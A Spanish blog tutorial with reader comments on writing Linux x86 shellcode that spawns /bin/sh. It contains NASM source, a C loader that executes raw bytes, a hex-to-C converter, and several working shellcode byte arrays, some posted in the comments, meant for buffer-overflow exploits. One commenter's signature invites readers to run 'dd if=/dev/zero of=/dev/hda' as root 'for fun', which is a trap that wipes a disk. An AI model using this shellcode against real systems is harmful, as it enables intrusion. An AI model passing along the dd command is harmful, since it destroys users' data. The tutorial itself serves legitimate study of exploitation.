Hacking serio básico: Introducción a los "shellcodes" (I)

seguridad

Cómo programar una shell code para utilizar en tus xploits (Parte 1)

Introducción

Cuando se produce un overflow en un programa, podemos sobreescribir EIP “Instruction Pointer” (entre otras cosas). Si sobreescribimos este registro con una dirección que contiene código propio, se ejecutará. Esto es, podemos ejecutar código con los permisos que tiene el programa ejecutado. ¿Qué pasa si el programa tiene el bit de suid activado? Lo dejo a vuestra imaginación.

Encontrar este tipo de xploits es muy difícil hoy en dia, puesto que hay muchas herramientas de análisis de código que evitan que se produzcan tremendos errores de seguridad. Aun así, podemos encontrar o programar algo a medida simplemente para aumentar conocimientos, que es en lo que consiste la curiosidad (lo otro se llama ‘prensa rosa’).

Nasm – Ensamblador tipo intel para x86

NASM es un ensamblador libre de tipo intel. Lo he elegido porque es con lo que yo estoy familiarizado.

Como siempre, los que tengan debian o similares:

# apt-get install nasm

Linux System Calls

Las llamadas a sistema en Linux se hacen con parámetros en los registros e invocando la interrupción 80h.

Un ejemplo sería:

mov eax,1     ; eax = 1 => exit syscall
xor ebx,ebx   ; ebx = 0 => ebx = int
int 0×80      ; Ejecutar syscall

Podéis consultar una tabla de syscalls aquí

Ejemplo clásico: ejecutar una shell (/bin/sh)

Para ejecutar una shell tenemos que tener en cuenta que debemos administrar un parámetro de cadena, esto es “/bin/sh” a la función syscall correspondiente. Pero, ¿cómo hacemos esto si no sabemos en qué parte de la memoria irá nuestra shellcode? Mmmm… difícil a primera vista.

Bien, existe un truco. Cuando se realiza un “call”, la cima de la pila contiene la siguiente dirección de memoria que va tras ella, así, al hacer “ret”, se podrá apuntar el PC (contador de programa) a esa dirección y seguir con el código del programa. Así que … con estos datos sabemos que la siguiente dirección de memoria tras un “call” podemos conseguirla de la pila con “pop “. Bien, si tras ese “call” ponemos datos, ya tenemos la forma de apuntar a ellos.

Ejemplo:

BITS 32
 
 jmp short datos
 
código:
 
 pop esi   ; char [ESI]   = 'c'
           ; char [ESI+1] = 'a'
           ; char [ESI+2] = 'd'
           ; …
           ; char [ESI+5] = 'a'
 
datos:
 call codigo
 
db 'cadena'

Al final de nuestra variable cadena debería haber un caracter nulo ‘\0’ , pero las shellcodes no se llevan muy bien ni con ellos, ni con los retornos de carro y algunas cosas más; así que tenemos que añadirlo nosotros.
Cuidado con operaciones que tengan 0’s. Hacer “mov eax, 0” hará que el binario compilado contenga caracteres ‘\0’.
Recordad que para poner algo a 0 basta con hacer un XOR consigo mismo.

BITS 32
 
 jmp short datos:
codigo:
 pop esi
 xor eax, eax          ; EAX = 0 (EAX/AX/AH/AL)
 mov byte [esi+7], al  ; Cambiamos '#' por '0'
 
datos:
 call codigo
 
db '/bin/sh#'   ; Termina en '#' para reservar la memoria del '\0'

Vale. Ahora, miramos en la tabla de syscalls y vemos que sys_execve es la 11.
La implementación en C es la siguiente:

int execve (const char *filename, char *const argv [], char *const envp[]);

Así que necesitamos tres punteros a los argumentos. El primer puntero ya sabemos cómo conseguirlo, el segundo, NULL, no queremos argumentos y en la opción de envp le metemos un NULL, que no nos hace falta para nada. Así la llamada a la syscall execve tendra a eax=11 (0xb), ebx = dirección donde empieza ‘/bin/sh’, ecx = NULL y edx = NULL.

Más o menos quedaría así:

BITS 32        ; Máquina de 32 bits – las shellcodes son específicas
 
 
 jmp short datos
codigo:
 pop esi
 xor eax, eax          ; EAX = 0 (EAX/AX/AH/AL)
 mov byte [esi+7], al  ; Cambiamos '#' por '0'
 mov al,11             ; syscall 11
 mov ebx, esi          ; ebx apunta a '/bin/sh\0'
 xor ecx,ecx           ; ecx = 0 NULL
 xor edx,edx           ; edx = 0 NULL
 int 0×80              ; syscall!
 
datos:
 call codigo
 
db '/bin/sh#'

Esto lo grabamos por ejemplo a un archivito llamador “exec.asm” y ejecutamos:

$ nasm -o exec exec.asm

Ahora se ha generado un archivito llamado “exec”. Ese archivo binario es nuestra shellcode!!! Pero, ¿cómo la probamos? No se puede ejecutar sin más, pues no es un elf, ni tiene ningún formato de ejecutable, es código máquina puro y duro.

Probando la shellcode

Para probarla podemos usar el siguiente programita en C. Su uso es:

$ gcc -o testshell testshell.c
$ ./testshell exec (u otro fichero bin generado por nasm)

El programita que carga el fichero como función es:

/* Coded by brue – brue.org – testshell.c <strong>/
#include <stdio.h>
#include <stdlib.h>
 
#define MAX_SIZE 1000
 
int main(int argc, char</strong>* argv){
 
  FILE* f;
  int   b, c=0;
  char*  m;
  void  (<strong>func)(void);
 
 
  if (argc<2){
    printf("Use: %s <file>\n",argv<a href="#fn8807084285794c522a639a">0</a>);
    return 1;
  }
 
  f = fopen(argv<a href="#fn17626590595794c52362021">1</a>,"r");
  if (f){
    m = malloc(MAX_SIZE);
    while((b=fgetc(f))!=EOF){
      *(m+c)=b;
      if ((c++)==MAX_SIZE) return 3;
    }
    fclose(f);
    printf("Executing…\n");
    func = (void (</strong>)(void)) m;
    (*func)();
    return 0;
  }
  else{
    printf("Error opening: %s\n",argv<a href="#fn17626590595794c52362021">1</a>);
    return 2;
  }
}

Así que cuando ejecutamos el comando obtenemos:

$ ./testshell exec
Executing…
$

…carga la shell sh!!! Funciona!!! (con ctrl-d podemos retornar a nuestra shell original).

Hemos hecho un binario en código máquina que ejecuta una shell en un linux x86 en tan sólo 31 bytes.

Ahora que tenemos esto, ¿cómo lo usamos en nuestro exploit? Vamos a verlo, con un ejemplo de uso en el lenguaje de sistemas C.

Cómo usar el archivo compilado en nuestro código en C

Una vez que tenemos nuestro archivo binario creado por nasm podéis usar el siguiente programita en C para convertir vuestra shell en una variable de C. Para compilarlo haremos:

$ gcc -o hex2c hex2c.c

Para usarlo:

$ ./hex2c exec (o nombre del binario)

Como salida nos encontramos:

$ brue@doppler:~/svn/brue/personal/hack/shcode$ ./hex2c exec
 
char shell[]=
"\xeb\x10\x5e\x31\xc0"
"\x88\x46\x07\xb0\x0b"
"\x89\xf3\x31\xc9\x31"
"\xd2\xcd\x80\xe8\xeb"
"\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68"
"\x23";
 
31 bytes shellcode!

Esta variable la podremos usar como shell code en nuestro exploit … pero eso ya es otra receta.

/* Coded by brue – brue.org – hex2c.c   <strong>
 *                                      *
 * Compile with 'gcc -o hex2c hex2c.c'  */
 
#include <stdio.h>
 
 
int main(int argc ,char</strong>* argv){
 
  FILE* f;
  int  b;
  int cont=0;
 
  if (argc<2){
    printf("Use: %s <file>\n",argv<a href="#fn8807084285794c522a639a">0</a>);
    return 1;
  }
 
  f = fopen(argv<a href="#fn17626590595794c52362021">1</a>,"r");
  if (f){
    printf("\n");
    printf("char shell[]=\n\"");
    while((b=fgetc(f))!=EOF){
      cont++;
      printf("\\x%02x",(char*) b);
      if ((cont%5)==0){
	printf("\"\n\"");
      }
    }
    printf("\";\n\n");
    printf("%d bytes shellcode!\n",cont);
    fclose(f);
  }
  else{
    printf("Error opening: %s\n",argv<a href="#fn17626590595794c52362021">1</a>);
    return 2;
  }
 
  return 0;
}

Esta receta es sólo una introducción y pretende ser guía para algún curioso que pare por aquí. No es ejemplo del mejor C, ni del mejor asm x86…

Enlaces

Safemode.org
Linux System Calls Table
NASM

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de brue

Plagio ....

Esta receta ha sido copiada por un tal goldenozaro aquí:

http://foros.hackerss.com/index.php?showtopic=8792

Los "lamers" no referencian ni mencionan los créditos... blanco y en botella.

brue

Bien, y si ya tengo

Bien, y si ya tengo esto:

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80"
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0";

Como puedo volver atras? (Vean el code)

Imagen de brue

Pues...

... es trivial (TM).

Imaginemos que tienes un archivo s.c con sólo eso.

Lo compilas con:

gcc -c -ggdb -o s s.c

Ejecutas el gdb:

gdb ./s

Y dentro del gdb pones:

disassemble shellcode

Espero que te valga y recuerda citar la fuente.

Happy Hacking.

brue

Eso de escribir los ceros ¿pa qué?

¿Qué es eso de que los 0s y los \n dan problemas? ¿Tú lo has probao? Lo que no da lo mismo es pasar el EAX con basura, pero desde luego no tienes que reescribir nada.

Tu mismo ejemplo:

BITS 32

 jmp short datos
codigo:
 pop esi
 xor eax, eax          ; EAX = 0 (EAX/AX/AH/AL)
 mov al,11             ; syscall 11
 mov ebx, esi          ; ebx apunta a '/bin/sh\0'
 xor ecx,ecx           ; ecx = 0 NULL
 xor edx,edx           ; edx = 0 NULL
 int 0x80              ; syscall!

datos:
 call codigo

db '/bin/sh', 0

Y lo de leer caracter a caracter es un muy guarro, pa eso está fread. En testshell.c:

  if (f){
    m = malloc(MAX_SIZE);
    fread(m, 1, MAX_SIZE, f);
    fclose(f);
    printf("Executing...\n");
    func = (void (*)(void)) m;
    (*func)();
    return 0;
  }

Y el hex2c no necesita un programa en C:

hex2c() {
echo 'char shell[]='
od -An -tx1 -v $1 | sed -e 's/ /\\x/g' -e 's/^/"/g' -e 's/$/"/g'
echo ';'
}

Imagen de int-0

A toro pasao...

...es recomendable no meter 0x00 en los shellcodes por una sencilla razón:

mov EAX, 0 ; Se ensambla como B800000000

Tendremos que el shellcode es "0xB0, 0x00, 0x00, 0x00, 0x00". Normalmente los shellcodes se usan en desbordamientos de buffer causados al operar con cadenas erróneamente, entonces: ¿qué pasa si nuestro shellcode tiene 0x00's? pues fácil: no "entra todo", se inyectaría sólo hasta ese primer 0x00. Si nuestro shellcode no tiene 0x00's, en una copia de cadenas, por ejemplo, se copiaría enterito.

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de cleto

Gracias!

Recetazo! Por favor, que haya más. Voy a ser el primero en leer estas cosas.

Gracias, Brue Eye-wink

**"Hay obras de caridad
y obras de sentimiento...
pero las que más duran
son las del Ayuntamiento"**
Cleto

Imagen de int-0

Mooola...

Hacía tiempo que no escribías una receta... pero la espera ha merecido la pena! Smiling

P.D. Se abre la veda de las recetas "divertidas"?
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

Estaría bien...

Crear un nodo en el drupal sobre seguridad, ¿no? Smiling

--
·brue
·vigilando

brue

Imagen de david.villa

hay más?

Si va a haber muchos de estas, podemos hacer un término nuevo “seguridad” para la taxonomía de temas.

Tú sabes cómo hacer que al pinchar en el link de una taxonomía drupal genere una lista decente (tipo la de nuestras recetas) en lugar de esto, que es lo que hace por defecto. Debe haber algún modulillo drupal.

No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.

Imagen de brue

mmm...

¿Con "category" y "views" has probado? Creo que category dejar "parsear" con views.

--
·brue
·vigilando

brue

Imagen de brue

ShellCode de 20 bytes ...

Shellcode que me funciona en 20 bytes…
Seguro que he hecho algo mal, porque creo que la más pequeña conocida es de 22 bytes. Así que supongo que me lloverán críticas de los gurús.


/* http//crysol.inf-cr.uclm.es – coded by brue * * I don’t even know if this works properly * * because it’s the first sc i try to code */

char shell_lx86[]= “\x6a\x0b\x58\x31\xc9” “\x51\x68\x2f\x2f\x73” “\x68\x68\x2f\x62\x69” “\x6e\x89\xe3\xcd\x80”;

int main()
{ void (f)(void) = (void()(void))shell_lx86; printf(”%d bytes\n”,strlen(shell_lx86)); (*f)();
}


·brue
·vigilando

brue

1 byte más pequeño

Bueno, obviamente muy bueno no será pasar el envp apuntando a cualquier parte. Tienes suerte en tu testshell de no tener ninguna función con 4 argumentos, con lo que hereda el edx del exec del propio testshell.

Pero lo que me deja pasmao es por qué metes /bin//sh\0\0\0\0 en la pila en lugar de un simple /bin/sh\0. Me apuesto a que es para que el strlen funcione... ¡Qué bruto!

En fin, en realidad sería:

BITS 32

 push byte 11
 pop eax
 xor ecx, ecx
 push dword "/sh"
 push dword "/bin"
 mov ebx, esp
 int 0x80

Y el printf es mucho más simple:

  printf("%d bytes\n", sizeof(shell_lx86));

De todas formas y aunque funcione, nos estamos cargando la pila, porque PUSH de un byte se extiende a dos bytes, pero no a 4, así que al hacer POP EAX estamos consumiendo un par de bytes de regalo. De ahí el tamaño estándar de 22 bytes:

BITS 32

 xor eax, eax
 xor ecx, ecx
 xor edx, edx
 mov al, 11
 push dword "/sh"
 push dword "/bin"
 mov ebx, esp
 int 0x80

Yo creo que se puede simplificar un poco leyendo directamente de la memoria. Seguro que en algun lado hay un /bin/sh, solo hay que aprovecharlo. Sería muy específico pero ¿qué más da?

Imagen de brue

una pregunta...

Si traduces "push dword "/bin" a código máquina, ¿no hay una parte con ceros? ... es que precisamente lo almaceno en pila así para que no haya ceros en el código hexadecimal que se genera.

brue

¿A que no adivinas lo que tengo?

Shellcoder’s Programming Uncovered
by Kris Kaspersky
A-LIST Publishing © 2005 (512 pages)
ISBN:193176946X

No te imaginas lo completito que está. Envidia, ¿eh?

Salud,
Paco

Imagen de brue

conio.h!

Del 2005! Tiene que estar muy interesante. ¿Cubre otras arquitecturas que no sean x86?

Ya te acecharé ... Sticking out tongue

--
·brue

brue

¿Lo de los ceros es pa la segunda parte?

Si no me lo llegas a explicar en vivo y en directo no mentero. Lo cuento por si hay un despistao como yo por aquí. Lo de evitar los 0's es para poder explotar desbordamientos de buffers con ayuda de funciones que tragan cadenas de texto, como gets.

Por cierto, un push dword "/bin" no tiene ceros, un push dword "/sh" si.